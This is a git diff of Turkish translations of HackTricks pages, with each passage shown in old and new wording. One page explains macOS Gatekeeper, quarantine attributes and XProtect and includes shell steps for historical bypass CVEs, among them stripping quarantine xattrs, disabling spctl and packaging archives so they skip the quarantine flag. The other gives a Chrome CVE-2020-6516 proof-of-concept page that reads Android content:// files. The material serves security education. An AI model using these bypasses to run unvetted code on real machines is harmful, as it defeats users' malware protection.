Not: İlk kuralın "**App Store**" ile bittiğine ve ikincisinin "**Developer ID**" ile bittiğine dikkat edin ve önceki görüntüde **App Store ve tanımlanmış geliştiricilerden uygulamaları çalıştırmaya izin verildiği**.\
Eğer o ayarı App Store olarak **değiştirirseniz, "Notarized Developer ID" kuralları kaybolacaktır**.
Ayrıca **GKE türünde binlerce kural** bulunmaktadır:
Ayrıca **binlerce GKE türünde kural** bulunmaktadır:
```bash
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
@ -109,9 +109,9 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
```
Bu, **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** ve **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`** dosyalarından gelen karmaşalardır.
Bu, **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** ve **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`** dosyalarından gelen karma değerlerdir.
Önceki bilgileri listelemek için şunu da kullanabilirsiniz:
Ya da önceki bilgileri şu şekilde listeleyebilirsiniz:
```bash
sudo spctl --list
```
@ -150,25 +150,25 @@ spctl --assess -v /Applications/App.app
```
### Karantina Dosyaları
Bir uygulama veya dosya indirildiğinde, macOS'taki belirli uygulamalar (örneğin web tarayıcıları veya e-posta istemcileri), genellikle "**karantina bayrağı**" olarak bilinen genişletilmiş bir dosya özniteliği ekler. Bu öznitelik, dosyayı güvenilmeyen bir kaynaktan (internet) geldiği ve potansiyel riskler taşıdığı şeklinde işaretlemek için bir güvenlik önlemi olarak hareket eder. Ancak, tüm uygulamalar bu özniteliği eklemeyebilir, örneğin, yaygın BitTorrent istemci yazılımları genellikle bu süreci atlar.
Bir uygulama veya dosya indirildiğinde, web tarayıcıları veya e-posta istemcileri gibi belirli macOS uygulamaları indirilen dosyaya genellikle "**karantina bayrağı**" olarak bilinen bir genişletilmiş dosya özniteliği ekler. Bu öznitelik, dosyayı güvenilmeyen bir kaynaktan (internet) geldiği ve potansiyel riskler taşıdığı şeklinde işaretlemek için bir güvenlik önlemi olarak hareket eder. Ancak, tüm uygulamalar bu özniteliği eklemeyebilir, örneğin, yaygın BitTorrent istemci yazılımları genellikle bu süreci atlar.
**Karantina bayrağının varlığı, bir kullanıcının dosyayı çalıştırmaya çalıştığında macOS'in Gatekeeper güvenlik özelliğine sinyal verir**.
Karantina bayrağının **bulunmadığı durumlarda** (bazı BitTorrent istemcileri aracılığıyla indirilen dosyalar gibi), Gatekeeper'ın **kontrolleri gerçekleştirilmeyebilir**. Bu nedenle, kullanıcılar, daha az güvenli veya bilinmeyen kaynaklardan indirilen dosyaları açarken dikkatli olmalıdır.
**Karantina bayrağının bulunmadığı durumlarda** (bazı BitTorrent istemcileri aracılığıyla indirilen dosyalar gibi), Gatekeeper'ın **kontrolleri gerçekleştirilmeyebilir**. Bu nedenle, kullanıcılar, daha az güvenli veya bilinmeyen kaynaklardan indirilen dosyaları açarken dikkatli olmalıdır.
{% hint style="info" %}
Kod imzalarının geçerliliğini kontrol etmek, kodun ve tüm paketlenmiş kaynakların kriptografik **hash'lerini oluşturmayı** içeren **kaynak yoğun** bir süreçtir. Ayrıca, sertifika geçerliliğini kontrol etmek, sertifikanın verildikten sonra iptal edilip edilmediğini görmek için Apple'ın sunucularına **çevrimiçi bir kontrol** yapmayı içerir. Bu nedenlerden dolayı, her bir uygulama başlatıldığında tam bir kod imzası ve noterleme kontrolünün **her seferinde çalıştırılması pratik değildir**.
Kod imzalarının **geçerliliğini kontrol etmek**, kodun ve tüm paketlenmiş kaynakların kriptografik **hash'lerini oluşturmayı** içeren **kaynak yoğun** bir süreçtir. Ayrıca, sertifika geçerliliğini kontrol etmek, sertifikanın verildikten sonra iptal edilip edilmediğini görmek için Apple'ın sunucularına **çevrimiçi bir kontrol** yapmayı içerir. Bu nedenlerden dolayı, her bir uygulama başlatıldığında tam bir kod imzası ve noterlik kontrolünün **her seferinde çalıştırılması uygulanabilir değildir**.
Bu nedenle, bu kontroller, **yalnızca karantina bayrağına sahip uygulamalar çalıştırıldığında yapılır**.
Bu nedenle, bu kontroller, **yalnızca karantina bayrağı özniteliğine sahip uygulamalar çalıştırıldığında çalıştırılır**.
{% endhint %}
{% hint style="warning" %}
Bu öznitelik, dosyayı oluşturan/indiren uygulama tarafından **ayarlanmalıdır**.
Ancak, kumlanmış dosyalar, oluşturdukları her dosyaya bu özniteliği ayarlayacaktır. Kumlanmamış uygulamalar kendileri ayarlayabilir veya **Info.plist** içinde [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) anahtarını belirleyebilirler, bu da sistemin oluşturulan dosyalara `com.apple.quarantine` genişletilmiş özniteliğini ayarlamasını sağlar.
Ancak, kumlanmış dosyalar, oluşturdukları her dosyaya bu özniteliğin ayarlanmış olacaktır. Ve kumlanmamış uygulamalar kendileri ayarlayabilir veya **Info.plist** içinde [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) anahtarını belirleyebilirler, bu da sistemin oluşturulan dosyalara `com.apple.quarantine` genişletilmiş özniteliğini ayarlamasını sağlar,
{% endhint %}
Durumunu **kontrol etmek ve etkinleştirmek/devre dışı bırakmak** (kök erişimi gereklidir) mümkündür:
Durumunu **kontrol etmek ve etkinleştirmek/devre dışı bırakmak** (kök gerekli) mümkündür:
```bash
spctl --status
assessments enabled
@ -177,13 +177,13 @@ spctl --enable
spctl --disable
#You can also allow nee identifies to execute code using the binary "spctl"
```
Ayrıca, bir dosyanın karantina uzatılmış niteliğine sahip olup olmadığını şu şekilde **bulabilirsiniz**:
Ayrıca, bir dosyanın karantina genişletilmiş niteliğine sahip olup olmadığını şu şekilde **bulabilirsiniz**:
```bash
xattr file.png
com.apple.macl
com.apple.quarantine
```
**Uzatılmış** **özniteliklerin** **değerini** kontrol edin ve karantina özniteliğini yazan uygulamayı bulun:
**Genişletilmiş** **özniteliklerin** **değerini** kontrol edin ve karantina özniteliğini yazan uygulamayı bulun:
```bash
xattr -l portada.png
com.apple.macl:
@ -265,7 +265,7 @@ return 0;
```
</detaylar>
Ve **o özelliği** şu şekilde kaldırın:
Ve **kaldır** o özelliği şununla:
```bash
xattr -d com.apple.quarantine portada.png
#You can also remove this attribute from every file with
@ -283,15 +283,15 @@ Karantina bilgileri ayrıca **`~/Library/Preferences/com.apple.LaunchServices.Qu
#### **Quarantine.kext**
Çekirdek uzantısı yalnızca sistemdeki **çekirdek önbelleği** aracılığıyla erişilebilir; ancak, **https://developer.apple.com/** adresinden indirebileceğiniz **Kernel Debug Kit** içinde uzantının sembolleştirilmiş bir sürümü bulunmaktadır.
Çekirdek uzantısı yalnızca sistemdeki **çekirdek önbelleği** aracılığıyla erişilebilir; ancak, **https://developer.apple.com/** adresinden **Kernel Debug Kit** indirebilirsiniz, bu da uzantının sembolleştirilmiş bir sürümünü içerecektir.
### XProtect
XProtect, macOS'ta bulunan bir **anti-malware** özelliğidir. XProtect, herhangi bir uygulama ilk kez başlatıldığında veya değiştirildiğinde, bilinen kötü amaçlı yazılım ve güvensiz dosya türleri veritabanına karşı kontrol eder. Belirli uygulamalar aracılığıyla bir dosya indirdiğinizde, örneğin Safari, Posta veya Mesajlar, XProtect dosyayı otomatik olarak tarar. Veritabanındaki herhangi bir bilinen kötü amaçlı yazılıma uyan bir dosya indirirseniz, XProtect dosyanın çalışmasını **engeller ve tehdidi size bildirir**.
XProtect, macOS'ta bulunan yerleşik bir **anti-malware** özelliğidir. XProtect, herhangi bir uygulama ilk kez başlatıldığında veya değiştirildiğinde, bilinen kötü amaçlı yazılımlar ve güvensiz dosya türleri veritabanına karşı kontrol eder. Belirli uygulamalar aracılığıyla dosya indirdiğinizde, örneğin Safari, Posta veya Mesajlar, XProtect dosyayı otomatik olarak tarar. Veritabanındaki herhangi bir bilinen kötü amaçlı yazılımla eşleşirse, XProtect dosyanın çalışmasını **engeller** ve tehdidi size bildirir.
XProtect veritabanı, Apple tarafından düzenli olarak yeni kötü amaçlı yazılım tanımlarıyla güncellenir ve bu güncellemeler otomatik olarak Mac'inize indirilir ve yüklenir. Bu, XProtect'in her zaman en son bilinen tehditlerle güncel olduğunu sağlar.
Ancak, **XProtect'in tam özellikli bir antivirüs çözümü olmadığını** belirtmek önemlidir. Yalnızca belirli bir liste bilinen tehditleri kontrol eder ve çoğu antivirüs yazılımı gibi on-erişim taraması yapmaz.
Ancak, **XProtect'in tam özellikli bir antivirüs çözümü olmadığını** belirtmek gerekir. Yalnızca belirli bilinen tehditleri kontrol eder ve çoğu antivirüs yazılımı gibi erişim üzerinden tarama yapmaz.
En son XProtect güncellemesi hakkında bilgi alabilirsiniz çalıştırarak:
@ -306,35 +306,35 @@ XProtect, **/Library/Apple/System/Library/CoreServices/XProtect.bundle** konumun
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Bu cdhash'lere sahip kodların eski ayrıcalıkları kullanmasına izin verir.
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: BundleID ve TeamID aracılığıyla yüklenmesine izin verilmeyen eklentilerin ve eklentilerin listesi veya bir minimum sürümü belirtir.
- **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Zararlı yazılımları tespit etmek için Yara kuralları.
- **`XProtect.bundle/Contents/Resources/gk.db`**: Engellenen uygulamaların ve TeamID'lerin karma değerlerini içeren SQLite3 veritabanı.
- **`XProtect.bundle/Contents/Resources/gk.db`**: Engellenmiş uygulamaların ve TeamID'lerin karmaşalarının bulunduğu SQLite3 veritabanı.
XProtect ile ilgili olmayan başka bir Uygulama olduğuna dikkat edin: **`/Library/Apple/System/Library/CoreServices/XProtect.app`**.
XProtect ile ilgili **`/Library/Apple/System/Library/CoreServices/XProtect.app`** konumunda başka bir Uygulama olduğunu unutmayın ve bu Uygulama Gatekeeper işlemiyle ilgili değildir.
### Gatekeeper Değil
{% hint style="danger" %}
Gatekeeper'ın **her uygulamayı çalıştırdığınızda her zaman çalıştırılmadığını** unutmayın, sadece _**AppleMobileFileIntegrity**_ (AMFI) yalnızca Gatekeeper tarafından zaten doğrulanmış ve onaylanmış bir uygulamayı çalıştırdığınızda **yürütülebilir kod imzalarını doğrular**.
Gatekeeper'ın **her uygulamayı çalıştırdığını** unutmayın, sadece _**AppleMobileFileIntegrity**_ (AMFI) yalnızca Gatekeeper tarafından zaten çalıştırılmış ve doğrulanmış bir uygulamayı çalıştırdığınızda **yürütülebilir kod imzalarını doğrular**.
{% endhint %}
Bu nedenle, önceden bir uygulamayı Gatekeeper ile önbelleğe almak için uygulamayı çalıştırmanın ardından (örneğin Electron asar veya NIB dosyaları gibi) **uygulamanın yürütülebilir olmayan dosyalarını değiştirmek** mümkündü ve başka korumalar olmadığı sürece, uygulama **zararlı eklemelerle** birlikte **çalıştırılıyordu**.
Bu nedenle, önceden bir uygulamayı Gatekeeper ile önbelleğe almak için uygulamayı çalıştırmak mümkündü, ardından (Electron asar veya NIB dosyaları gibi) uygulamanın **yürütülebilir olmayan dosyalarını değiştirmek** ve başka korumalar olmadığında, uygulama **zararlı eklemelerle** **çalıştırılıyordu**.
Ancak şimdi macOS, uygulama paketleri içindeki dosyaların değiştirilmesini **engelliyor**. Bu nedenle, [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) saldırısını denerseniz, artık bunu kötüye kullanmanın mümkün olmadığını göreceksiniz çünkü uygulamayı Gatekeeper ile önbelleğe almak için çalıştırdıktan sonra paketi değiştiremeyeceksiniz. Örneğin, İçerik dizininin adını NotCon olarak değiştirirseniz (saldırıda belirtildiği gibi) ve ardından uygulamanın ana ikili dosyasını Gatekeeper ile önbelleğe almak için çalıştırırsanız, bir hata alacak ve çalıştırmayacaktır.
Ancak şimdi macOS, uygulama paketlerinin içindeki dosyaları **değiştirmeyi engeller**. Bu nedenle, [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) saldırısını denerseniz, artık bunu kötüye kullanmanın mümkün olmadığını göreceksiniz çünkü Gatekeeper ile önbelleğe almak için uygulamayı çalıştırdıktan sonra paketi değiştiremeyeceksiniz. Ve örneğin, İçerik dizininin adını NotCon olarak değiştirirseniz (saldırıda belirtildiği gibi) ve ardından uygulamanın ana ikili dosyasını Gatekeeper ile önbelleğe almak için çalıştırırsanız, bir hata alacak ve çalıştırmayacaktır.
## Gatekeeper Atlatmaları
Kullanıcının bir şeyi indirmesini ve Gatekeeper'ın bunu engellemesi gerektiği durumda çalıştırmasını sağlamak (Gatekeeper'ı atlamak) herhangi bir yöntem, macOS'ta bir güvenlik açığı olarak kabul edilir. Geçmişte Gatekeeper'ı atlamayı sağlayan tekniklere atanan bazı CVE'ler şunlardır:
Kullanıcının bir şeyi indirmesini ve Gatekeeper'ın bunu engellemesi gereken bir şeyi çalıştırmasını başarmak her zaman macOS'ta bir güvenlik açığı olarak kabul edilir. Geçmişte Gatekeeper'ı atlamaya izin veren tekniklere atanan bazı CVE'ler şunlardır:
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
**Arşiv Yardımcısı**'nın kullanılması durumunda, **886 karakteri aşan yollara sahip dosyaların** com.apple.quarantine genişletilmiş özniteliğini almadığı gözlemlendi. Bu durum yanlışlıkla bu dosyaların **Gatekeeper'ın** güvenlik kontrollerini **atlamasına** izin verir.
**Arşiv Yardımcı Programı**'nın kullanılması durumunda, **886 karakteri aşan yollara sahip dosyaların** com.apple.quarantine uzatılmış özniteliğini almadığı gözlemlendi. Bu durum yanlışlıkla bu dosyaların **Gatekeeper'ın** güvenlik kontrollerini **atlamasına** izin verir.
Daha fazla bilgi için [**orijinal rapora**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) bakın.
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
Bir uygulama **Automator** ile oluşturulduğunda, uygulamanın neyi yürüteceği hakkındaki bilgiler `application.app/Contents/document.wflow` içinde değil, yürütülebilirde bulunur. Yürütülebilir sadece **Automator Uygulama Taklidi** olarak adlandırılan genel bir Automator ikili dosyasıdır.
Bir uygulama **Automator** ile oluşturulduğunda, uygulamanın neyi yürüteceği hakkındaki bilgiler `application.app/Contents/document.wflow` içinde değil yürütülebilir dosyada bulunur. Yürütülebilir dosya yalnızca **Automator Uygulama Taklidi** olarak adlandırılan genel bir Automator ikili dosyasıdır.
Bu nedenle, `application.app/Contents/MacOS/Automator\ Application\ Stub`'ı başka bir sistemdeki başka bir Automator Uygulama Taklidi'ne sembolik bir bağlantı yapabilir ve `document.wflow` içinde ne varsa (betiğiniz) **Gatekeeper'ı tetiklemeden** yürütür.
Bu nedenle, `application.app/Contents/MacOS/Automator\ Application\ Stub`'ı başka bir sistemdeki Automator Uygulama Taklidi'ne sembolik bir bağlantı yaparak `document.wflow` içinde ne varsa (betiğiniz) **Gatekeeper'ı tetiklemeden** çalıştırabilirsiniz çünkü gerçek yürütülebilir dosyada karantina xattr yoktur.
Beklenen konum örneği: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
@ -342,21 +342,23 @@ Daha fazla bilgi için [**orijinal rapora**](https://ronmasas.com/posts/bypass-m
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
Bu atlatmada, bir zip dosyası oluşturuldu ve sıkıştırmaya `application.app` yerine `application.app/Contents`'den başlandı. Bu nedenle, **karantina özniteliği** tüm **dosyalara `application.app/Contents`** uygulandı ancak **`application.app`'ye** uygulanmadı, Gatekeeper'ın kontrol ettiği şey buydu, bu nedenle `application.app` tetiklendiğinde **karantina özniteliğine sahip olmadığı için Gatekeeper atlatıldı.**
Bu atlatmada, bir zip dosyası `application.app` yerine `application.app/Contents`'den sıkıştırmaya başlayan bir uygulama oluşturuldu. Bu nedenle, **karantina özniteliği** tüm **dosyalara `application.app/Contents`** uygulandı ancak **`application.app`'ye** uygulanmadı, ki bu Gatekeeper'ın kontrol ettiği şeydi, bu nedenle Gatekeeper, `application.app` tetiklendiğinde **karantina özniteliğine sahip olmadığı için atlatıldı.**
```bash
zip -r test.app/Contents test.zip
```
Daha fazla bilgi için [**orijinal raporu**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) kontrol edin.
Daha fazla bilgi için [**orijinal rapora**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) bakın.
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
Bileşenler farklı olsa da, bu zafiyetin sömürülmesi öncekine çok benzer. Bu durumda, **`uygulama.app/İçerikler`**'den bir Apple Arşivi oluşturacağız, böylece **`uygulama.app`** **Archive Utility** tarafından açıldığında **karantina özniteliği almayacak**.
Bileşenler farklı olsa da, bu zafiyetin sömürülmesi öncekine çok benzer. Bu durumda **`uygulama.app/İçerikler`** dizininden bir Apple Arşivi oluşturacağız, böylece **`uygulama.app`** **Arşiv Yardımcı Programı** tarafından açıldığında karantina özelliğini almayacak.
```bash
aa archive -d test.app/Contents -o test.app.aar
```
Daha fazla bilgi için [**orijinal raporu**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) kontrol edin.
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
ACL **`writeextattr`** kullanılarak bir dosyada bir öznitelik yazılmasını engellemek için kullanılabilir:
ACL **`writeextattr`** dosyada bir özniteliği yazmasını engellemek için kullanılabilir:
```bash
touch /tmp/no-attr
chmod +a "everyone deny writeextattr" /tmp/no-attr
@ -365,7 +367,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
```
Ayrıca, **AppleDouble** dosya biçimi, ACE'lerini içeren bir dosyanın kopyasını oluşturur.
[**Kaynak kodunda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) görülebileceği gibi, **`com.apple.acl.text`** adlı xattr içinde depolanan ACL metin temsili, dekompresyon yapılan dosyada ACL olarak ayarlanacaktır. Dolayısıyla, eğer bir uygulamayı diğer xattr'lerin yazılmasını engelleyen bir ACL ile birlikte **AppleDouble** dosya biçimine sahip bir zip dosyasına sıkıştırdıysanız... karantina xattr'si uygulamaya ayarlanmamış olacaktır:
[**Kaynak kodunda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) görülebileceği gibi, **`com.apple.acl.text`** adlı xattr içinde depolanan ACL metin temsili, dekompresyon yapılmış dosyada ACL olarak ayarlanacaktır. Dolayısıyla, bir uygulamayı diğer xattr'lerin yazılmasını engelleyen bir ACL ile birlikte **AppleDouble** dosya biçimine sahip bir zip dosyasına sıkıştırdıysanız... karantina xattr'si uygulamaya ayarlanmamış olacaktır:
```bash
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
@ -374,9 +376,9 @@ python3 -m http.server
```
{% endcode %}
Daha fazla bilgi için [**orijinal rapora**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) bakın.
Daha fazla bilgi için [**orijinal raporu**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) kontrol edin.
Bu ayrıca AppleArchives ile de sömürülebilir:
Bu aynı zamanda AppleArchives ile de sömürülebilir:
```bash
mkdir app
touch app/test
@ -401,8 +403,8 @@ aa archive -d test/ -o test.aar
```
{% endcode %}
Karantina özniteliği ayarlanmayan bir dosya oluşturabilmek, **Gatekeeper'ı atlayabilmeyi mümkün kıldı.** Hile, AppleDouble adı konvansiyonunu kullanarak (`._` ile başlat) bir DMG dosyası uygulaması oluşturmak ve karantina özniteliği olmayan bu gizli dosyaya bir sembolik bağ olarak görünür bir dosya oluşturmaktı.\
**Dmg dosyası yürütüldüğünde**, karantina özniteliğine sahip olmadığı için **Gatekeeper'ı atlayacaktır.**
Karantina özniteliğine sahip olmayan bir dosya oluşturabilme yeteneği sayesinde **Gatekeeper'ı atlayabilirsiniz.** Hile, AppleDouble adı konvansiyonunu kullanarak (`._` ile başlatarak) bir DMG dosyası uygulaması oluşturmak ve karantina özniteliğine sahip olmayan bu gizli dosyaya bir sembolik bağ oluşturmaktı.\
**Dmg dosyası çalıştırıldığında**, karantina özniteliğine sahip olmadığı için **Gatekeeper'ı atlayacaktır.**
```bash
# Create an app bundle with the backdoor an call it app.app
@ -422,6 +424,6 @@ aa archive -d s/ -o app.aar
Bir ".app" paketinde karantina xattr eklenmediğinde, **uygulama çalıştırıldığında Gatekeeper tetiklenmeyecek**.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}

View file

@ -1,25 +1,25 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hackleme hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
**Bu, [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/) gönderisinin özeti.**
### Medya Deposundaki Dosyaların Listelenmesi
Medya Deposu tarafından yönetilen dosyaları listelemek için aşağıdaki komut kullanılabilir:
### Ortam Mağazasındaki Dosyaların Listelenmesi
Ortam Mağazası tarafından yönetilen dosyaları listelemek için aşağıdaki komut kullanılabilir:
```bash
$ content query --uri content://media/external/file
```
@ -27,12 +27,12 @@ Daha insan dostu bir çıktı için yalnızca dizinlenen her dosyanın tanımlay
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
### İçerik Sağlayıcılarına Erişim
### İçerik Sağlayıcıları
İçerik sağlayıcıları kendi özel ad alanlarında izole edilmiştir. Bir sağlayıcıya erişim, belirli `content://` URI'si gerektirir. Bir sağlayıcıya erişmek için yol bilgileri, uygulama manifestolarından veya Android çerçevesinin kaynak kodundan elde edilebilir.
İçerik sağlayıcıları kendi özel ad alanlarında izole edilmiştir. Bir sağlayıcıya erişim belirli `content://` URI'si gerektirir. Bir sağlayıcıya erişmek için gerekli yol bilgileri, uygulama manifestolarından veya Android çerçevesinin kaynak kodundan elde edilebilir.
### Chrome'un İçerik Sağlayıcılara Erişimi
Android'deki Chrome, üçüncü taraf uygulamalar tarafından dışa aktarılan fotoğraflar veya belgeler gibi kaynaklara erişmesine izin veren `content://` şeması aracılığıyla içerik sağlayıcılarına erişebilir. Bunu ıklamak için bir dosya Medya Deposuna eklenip ardından Chrome aracılığıyla erişilebilir:
Android'deki Chrome, üçüncü taraf uygulamalar tarafından dışa aktarılan fotoğraflar veya belgeler gibi kaynaklara erişmesine izin veren `content://` şeması aracılığıyla içerik sağlayıcılarına erişebilir. Bunu göstermek için bir dosya Medya Deposuna eklenip ardından Chrome üzerinden erişilebilir:
Medya Deposuna özel bir giriş ekleyin:
```bash
@ -56,13 +56,13 @@ content query --uri content://media/external/file --projection _id,_data | grep
```
### Chrome CVE-2020-6516: Aynı Köken Politikası Atlatma
_Aynı Köken Politikası_ (SOP), tarayıcılardaki bir güvenlik protokolüdür ve bir Çapraz Köken Kaynak Paylaşımı (CORS) politikası tarafından açıkça izin verilmedikçe web sayfalarının farklı kökenlerden kaynaklarla etkileşmesini kısıtlar. Bu politika, bilgi sızıntılarını ve çapraz site istek sahteciliğini önlemeyi amaçlar. Chrome, `content://`'yi yerel bir şema olarak kabul eder ve her yerel şema URL'sinin ayrı bir köken olarak işlendiği daha katı SOP kuralları ima eder.
_Aynı Köken Politikası_ (SOP), tarayıcılardaki bir güvenlik protokolüdür ve bir Çapraz-Köken-Kaynak-Paylaşımı (CORS) politikası tarafından açıkça izin verilmedikçe web sayfalarının farklı kökenlerden kaynaklarla etkileşmesini kısıtlar. Bu politika, bilgi sızıntılarını ve çapraz site istek sahteciliğini önlemeyi amaçlar. Chrome, `content://`'yi yerel bir şema olarak kabul eder ve her yerel şema URL'sinin ayrı bir köken olarak işlendiği daha katı SOP kuralları ima eder.
Ancak, CVE-2020-6516, Chrome'da bir güvenlik açığıydı ve `content://` URL'si aracılığıyla yüklenen kaynaklar için SOP kurallarının atlatılmasına izin veriyordu. Sonuç olarak, bir `content://` URL'sinden JavaScript kodu, özellikle Android 10'dan önceki sürümlerde uygulanmayan kapsamlı depolama olmadığı durumlarda, diğer `content://` URL'si aracılığıyla yüklenen diğer kaynaklara erişebiliyordu, bu da önemli bir güvenlik endişesi oluşturuyordu.
Ancak, CVE-2020-6516, Chrome'da `content://` URL'si aracılığıyla yüklenen kaynaklar için SOP kurallarının atlatılmasına izin veren bir güvenlik açığıydı. Sonuç olarak, bir `content://` URL'sinden JavaScript kodu, özellikle Android 10'dan önceki sürümlerde uygulanmayan kapsamlı depolama olmadığı durumlarda, diğer `content://` URL'si aracılığıyla yüklenen diğer kaynaklara erişebilirdi, bu da önemli bir güvenlik endişesi oluşturuyordu.
Aşağıdaki kanıt-of-konsept, bir HTML belgesinin, **/sdcard** altına yüklendikten ve Medya Deposuna eklenip, JavaScript'inde `XMLHttpRequest` kullanarak Medya Deposundaki başka bir dosyanın içeriğine erişip gösterdiği bu güvenlik açığı göstermektedir, SOP kurallarını atlayarak.
Aşağıdaki kavram kanıtı, bir HTML belgesinin, **/sdcard** altına yüklendikten ve Medya Deposuna ekledikten sonra, JavaScript içindeki `XMLHttpRequest` kullanarak Medya Deposundaki başka bir dosyanın içeriğine erişip gösterdiği bu güvenlik açığı göstermektedir, SOP kurallarını atlayarak.
Kanıt-of-Konsept HTML:
Kavram Kanıtı HTML:
```xml
<html>
<head>
@ -91,7 +91,7 @@ xhr.send();
<body onload="poc()"></body>
</html>
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -102,9 +102,9 @@ xhr.send();
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
